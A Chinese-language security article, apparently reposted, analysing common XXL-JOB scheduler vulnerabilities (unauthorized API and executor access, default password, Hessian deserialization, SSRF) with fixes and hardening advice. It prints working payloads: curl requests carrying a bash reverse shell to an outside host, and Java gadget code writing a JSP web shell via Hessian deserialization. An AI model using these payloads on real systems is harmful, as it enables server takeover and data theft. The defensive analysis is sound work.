【Web安全】XXL-JOB框架SRC高頻漏洞分析總結

文章目錄

    • 前言
    • 一、核心漏洞分類與技術細節
    • 二、漏洞關聯利用與攻擊路徑
    • 三、版本演進與修復策略
    • 四、安全運維建議
    • 五、典型漏洞復現環境搭建
    • 六、總結

前言

XXL-JOB是國內主流的開源分布式任務調度框架,由徐雪里開發維護,以輕量易用、高可用、適配分布式場景等特性,廣泛應用于互聯網、金融等行業,承擔定時任務調度、批量數據處理等核心業務。

其架構核心為“調度中心(負責任務配置與觸發)”與“執行器(負責任務實際運行)”,二者協同實現分布式任務管理。隨著其部署范圍擴大,低版本因安全設計不足,暴露出API未授權訪問、默認弱口令、反序列化注入等高頻漏洞,成為安全響應中心(SRC)常見安全事件誘因,可能導致服務器被控、業務數據泄露等嚴重后果。本文檔即針對這些高頻漏洞展開深度分析,為安全防護提供參考。

一、核心漏洞分類與技術細節

  1. API未授權訪問漏洞(<=2.2.0)

    • 漏洞原理:調度中心的/api接口未啟用身份認證機制,攻擊者可直接調用任務觸發、日志查詢等敏感接口。例如,通過構造POST請求調用/api/trigger接口,傳入惡意參數即可執行任意系統命令。
    • 利用場景:攻擊者通過FOFA等工具搜索暴露的API接口,發送包含glueType=GLUE_SHELLexecutorParam=bash -i >& /dev/tcp/attacker_ip/port 0>&1的請求,直接獲取服務器權限。
    • 修復方案
      • 配置xxl.job.accessToken并在調度中心與執行器保持一致。
      • 升級至2.3.0+版本,啟用接口權限校驗模塊。
  2. Executor未授權訪問漏洞(<=2.2.0)

    • 漏洞本質:執行器默認監聽9999端口且未配置訪問控制,攻擊者可直接調用RESTful API執行命令。例如,發送POST請求至/run接口,攜帶cmd=whoami即可獲取系統信息。
    • 版本差異
      • 2.2.0以下版本:直接通過HTTP接口執行命令。
      • 2.2.0以上版本:需結合Hessian協議和未修改的accessToken進行攻擊。
    • 防御措施
      • 關閉公網對9999端口的訪問,僅允許調度中心IP通信。
      • 配置防火墻規則,限制來源IP范圍。
  3. 默認登錄密碼漏洞(全版本)

    • 風險現狀:默認賬號密碼為admin/123456,且2.1.1版本前可設置超過18位密碼導致登錄失敗。攻擊者通過弱口令爆破或社工手段獲取權限后,可創建惡意任務實現RCE。
    • 利用鏈
      • 爆破登錄:使用Burp Suite加載弱口令字典進行暴力破解。
      • 任務植入:登錄后創建GLUE類型任務,寫入反彈Shell代碼。
    • 加固建議
      • 強制修改默認密碼,采用大小寫字母+數字+特殊符號的組合。
      • tables_xxl_job.sql中修改初始化密碼的MD5值。
  4. Hessian反序列化漏洞(<=2.1.2)

    • 技術背景:調度中心使用Hessian協議進行遠程調用,低版本未對輸入數據進行有效過濾,導致反序列化漏洞。攻擊者構造包含惡意類的序列化數據,觸發任意代碼執行。
    • 利用方式
      • 構造POC:使用SwingLazyValue結合JavaUtils.writeBytesToFilename寫入惡意文件。
      • 內存馬植入:通過反序列化注入冰蝎或哥斯拉內存馬,實現持久化控制。
    • 修復方案
      • 升級至2.2.0+版本,移除危險的反序列化入口點。
      • 禁用Hessian協議,改用HTTP+JSON通信。

二、漏洞關聯利用與攻擊路徑

  1. 組合攻擊示例

    • 步驟1:SSRF獲取AccessToken(CVE-2022-43183)
      • 攻擊者通過調度中心/log/cat接口構造SSRF請求,獲取執行器的accessToken
    • 步驟2:Executor命令執行
      • 使用竊取的accessToken向執行器發送請求,調用/run接口執行命令。
    • 步驟3:橫向滲透
      • 利用獲取的服務器權限,掃描內網其他XXL-JOB實例,復用漏洞進行擴散。
  2. 典型攻擊載荷

    • 反彈Shell(API未授權)

      curl -X POST "http://target:8080/xxl-job-admin/api/trigger" \
      -H "Content-Type: application/json" \
      -d '{"jobId":1,"executorParam":"bash -i >& /dev/tcp/1.1.1.1/4444 0>&1"}'
      
    • Hessian反序列化(內存馬)

      // 生成惡意序列化數據
      UIDefaults uiDefaults = new UIDefaults();
      uiDefaults.put("key", new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/shell.jsp", payloadBytes}));
      Hessian2Output output = new Hessian2Output(new FileOutputStream("poc.ser"));
      output.writeObject(uiDefaults);
      output.close();
      

三、版本演進與修復策略

漏洞類型影響版本修復版本核心變更點
API未授權訪問<=2.2.02.3.0+增加accessToken校驗模塊,限制接口訪問權限
Executor未授權<=2.2.02.2.1+引入RESTful API權限控制,默認關閉公網訪問
默認登錄密碼全版本2.1.1+前端限制密碼長度,后臺加強密碼復雜度校驗
Hessian反序列化<=2.1.22.2.0+移除jetty容器中的反序列化入口,改用安全通信協議
SSRF漏洞<=2.3.12.4.0+過濾executorAddress參數,禁止自定義目標地址

四、安全運維建議

  1. 基礎防護

    • 網絡隔離:調度中心與執行器采用內網通信,關閉公網對9999端口的暴露。
    • 最小化原則:禁用不必要的API接口,僅開放管理后臺的8080端口。
  2. 動態監測

    • 流量分析:通過WAF檢測包含bashcurlwget等關鍵詞的請求。
    • 日志審計:監控調度中心的登錄日志和任務執行日志,及時發現異常操作。
  3. 版本管理

    • 定期檢查:使用mvn dependency:treegradle dependencies命令,確認XXL-JOB及依賴庫版本。
    • 自動更新:在CI/CD流程中集成版本掃描工具(如OWASP Dependency-Check),發現漏洞立即觸發升級。

五、典型漏洞復現環境搭建

  1. 環境配置

    • 下載xxl-job-2.1.2源碼,修改application.properties中的數據庫連接信息。
    • 啟動MySQL服務,執行tables_xxl_job.sql初始化表結構。
    • 編譯并運行調度中心和執行器,開放8080和9999端口。
  2. 漏洞驗證

    • Hessian攻擊:使用curl發送包含序列化數據的請求:

      curl -X POST "http://localhost:8080/xxl-job-admin/api" \
      -H "Content-Type: x-application/hessian" \
      --data-binary @poc.ser
      
    • Executor命令執行:直接訪問http://localhost:9999/run?cmd=id,驗證響應是否包含用戶信息。

攻擊方式參考:

https://xz.aliyun.com/news/13339
https://forum.butian.net/share/2592
https://github.com/charonlight/xxl-jobExploitGUI/blob/main/README.md

六、總結

XXL-JOB的低版本漏洞多源于設計缺陷和配置不當,攻擊者通過未授權訪問、反序列化等手段可輕易獲取服務器控制權。

建議企業采取"主動防御+動態監測+版本迭代"的三層防護體系,及時修復漏洞并強化訪問控制。

同時,開發者應遵循安全編碼規范,在遠程調用、數據解析等關鍵環節引入嚴格的輸入校驗機制,從源頭降低安全風險。

本文是「Web安全」系列內容,點擊專欄導航查看全部內容。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/98015.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/98015.shtml
英文地址,請注明出處:http://en.pswp.cn/web/98015.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Capacitor 打包后接口訪問不到的排查經歷

我最近在用 Quasar Capacitor 6 做一個 Android App&#xff0c;前端用的是 Vue3 Quasar&#xff0c;打包交給 Capacitor 去跑在手機的 WebView 里&#xff0c;后端是 FastAPI 提供接口。開發模式下一切順利&#xff0c;瀏覽器里訪問接口沒有任何問題&#xff0c;我甚至覺得打…

【正點原子】Linux應用編程入門~概念及環境介紹

應用編程概念 應用編程&#xff08;也可稱為系統編程&#xff09;與驅動編程、裸機編程有何不同&#xff1f;系統調用&#xff1b;何為庫函數&#xff1b;應用程序的 main()函數&#xff1b;應用程序開發環境的介紹&#xff1b;系統調用 定義系統調用&#xff08;system call&a…

一、HTML 完全指南:從零開始構建網頁

文章目錄前言一、 HTML 結構認識 HTML 標簽HTML 文件基本結構標簽層次結構快速生成代碼框架二、 HTML 常見標簽詳解2.1 注釋標簽2.2 標題標簽 (h1 - h6)2.3 段落標簽 (p)2.4 換行標簽 (br)2.5 格式化標簽2.6 圖片標簽 (img)2.7 超鏈接標簽 (a)2.8 表格標簽基本使用合并單元格2.…

基于POI-TL實現動態Word模板的數據填充:【散點圖】特殊處理方案

基于POI-TL實現動態Word模板的數據填充:散點圖特殊處理方案 在使用POI-TL進行Word模板動態數據填充時,圖表生成是一個常見需求。最近在項目中使用POI-TL處理散點圖時遇到了一個特殊問題,經過研究后找到了解決方案,特此記錄分享。 問題背景 POI-TL作為一款優秀的Java Wor…

使用node-Express框架寫一個學校宿舍管理系統練習項目-前后端分離

今天繼續分享一個新的練習項目&#xff0c;是使用node做為后端語言&#xff0c;來寫的一個前后端分離項目&#xff1a;學校宿舍管理系統。我們如果想掌握一門編程語言&#xff0c;就是需要大量的練習。所以當我們學習到了一些知識&#xff0c;自己想一下 可以拿學到的知識&…

Kafka 運維實戰基本操作含命令與最佳實踐

1. 基礎概覽與工具入口 Kafka 發行包的所有 CLI 工具均在 bin/ 目錄下。任何工具不帶參數運行都會顯示所有可用選項。本文命令默認&#xff1a;--bootstrap-server localhost:9092&#xff1b;生產請替換為你的控制面或內網 VIP。 2. 主題管理&#xff08;創建 / 修改 / 刪除 /…

貪心算法應用:航班起降問題詳解

Java中的貪心算法應用&#xff1a;航班起降問題詳解 貪心算法是一種在每一步選擇中都采取當前狀態下最優的選擇&#xff0c;從而希望導致全局最優解的算法策略。在航班起降問題中&#xff0c;貪心算法可以有效地解決機場跑道調度問題&#xff0c;即如何安排航班的起降順序以最大…

uniapp scroll-view 設置scrollTop無效

當我們使用 scroll-view的scroll-top的時候 默認想讓它回到頂部&#xff0c;當我們設置值為0的時候會不生效&#xff0c;在實際運用過程中&#xff0c;發現設置了scroll-top無效&#xff0c;滾動條位置并沒有發生變化&#xff0c;是因為微信小程序的官方框架處于性能考慮&#…

網絡與通信

1.TCP協議與UDP協議TCP&#xff08;Transmission Control Protocol&#xff0c;傳輸控制協議&#xff09;和 UDP&#xff08;User Datagram Protocol&#xff0c;用戶數據報協議&#xff09;是 TCP/IP 協議族中兩種核心的傳輸層協議&#xff0c;它們在數據傳輸方式、可靠性、適…

Node.js中package.json詳解

1. name&#xff08;名稱&#xff09; 如果你計劃發布你的包&#xff0c;package.json 中最重要的字段是 name 和 version&#xff0c;因為它們是必需的。name 和 version 共同組成一個假定完全唯一的標識符。包的更改應伴隨版本號的更新。如果你不打算發布包&#xff0c;那么…

代碼隨想錄第14天| 翻轉、對稱與深度

226.翻轉二叉樹 &#xff08;優先掌握遞歸&#xff09; 題目鏈接/文章講解/視頻講解&#xff1a;翻轉二叉樹 交換的是指針&#xff0c;而不是數值&#xff0c;如果用數值做交換&#xff0c;需要交換的節點下面無法很好的操作。 使用遞歸來實現&#xff0c;但要提前清除是什么順…

DNS-Windows上使用DNS

DNS-Windows上使用DNS一、查看與修改DNS配置1.1、查看當前DNS服務器設置1.2、臨時修改 DNS 服務器&#xff08;命令行&#xff09;二、DNS緩存相關操作2.1、查看DNS緩存內容2.2、 刷新 DNS 緩存&#xff08;清除過期記錄&#xff09;三、測試域名解析&#xff08;nslookup 工具…

3dsMax 2026 .NET Core 8 轉型下的Maxscript腳本開發:動態編譯模塊的重構策略與兼容性升級路徑

3ds Max 長期以來一直提供出色的 .NET 集成,使 Maxscript 能夠無縫利用任何 .NET 庫的強大功能。部分開發者在工具中廣泛使用了 .NET 功能。 之前,3ds Max 依賴于 .NET Framework 4.8 并且最近更新到了 4.8.1,用于 2025 版本的發布。然而,隨著 3ds Max 2026 的推出,Autod…

golang 做webrtc開發核心

在Golang中進行WebRTC開發&#xff0c;核心在于理解WebRTC協議的工作原理以及如何利用Go生態中的庫來實現關鍵功能。以下是Golang WebRTC開發的核心要點&#xff1a; WebRTC基礎概念 了解ICE&#xff08;Interactive Connectivity Establishment&#xff09;協議用于NAT穿越掌握…

RabbitMQ 異步化抗洪實戰

說明&#xff1a;本文僅展示架構思路與安全片段&#xff0c;所有敏感字段已用占位符&#xff1b;不含可直接復刻的生產細節。數據與接口均為演示/虛擬。0. 背景與目標長耗時/不確定接口&#xff08;如對接第三方機器人平臺&#xff09;的同步阻塞&#xff0c;容易造成請求堆積與…

接口返回 2 萬條數據,easy-trans導致多了20s耗時排查過程

內網訪問排版核料詳情功能&#xff0c;用戶反饋要等十幾秒排查 sql&#xff1a;sql 比較簡單排查內存計算&#xff1a;arthus trace 類名 方法名 總耗時2s排查頁面渲染是否緩慢&#xff1a;F12 查看接口 等待服務器響應 20s 下載時間 30s, 故不考慮渲染問題排查請求響應日志打…

AIGC入門,手搓大模型客戶端與MCP交互

概述 在現代應用開發中&#xff0c;將大語言模型&#xff08;LLM&#xff09;與專用工具服務相結合&#xff0c;可以構建出既能理解自然語言&#xff0c;又能準確執行專業任務的智能代理。本文介紹一個基于 MCP&#xff08;Model Context Protocol&#xff09;協議和 Ollama 本…

深度學習:從預備知識到未來展望

在當今數字化時代&#xff0c;深度學習正以前所未有的速度改變著我們的生活和工作方式。從智能語音助手到自動駕駛汽車&#xff0c;從精準醫療到個性化推薦系統&#xff0c;深度學習的應用無處不在。本文將從深度學習的預備知識入手&#xff0c;探討其發展歷程、關鍵技術和未來…

軟考高級系統架構設計師之構件與中間件技術篇

一、構件的定義 定義1:軟件構件是一種組裝單元&#xff0c;它具有規范的接口規約和顯式的語境依賴。軟件構件可以被獨立地部署并由第三方任意地組裝。 定義2:構件是某系統中有價值的、幾乎獨立的并可替換的一個部分&#xff0c;它在良好定義的體系結構語境內滿足某清晰的功能。…

Node.js 文件上傳中文文件名亂碼問題,為什么只有Node會有亂碼問題,其他后端框架少見?

問題現象當用戶上傳包含中文字符的文件時&#xff0c;在服務器端獲取到的文件名可能變成類似 ????.txt 這樣的亂碼&#xff0c;而不是預期的中文文件名。為什么只有Node會亂碼&#xff1f;很多后端框架&#xff08;如 Java Spring Boot、Python Django、PHP Laravel&#x…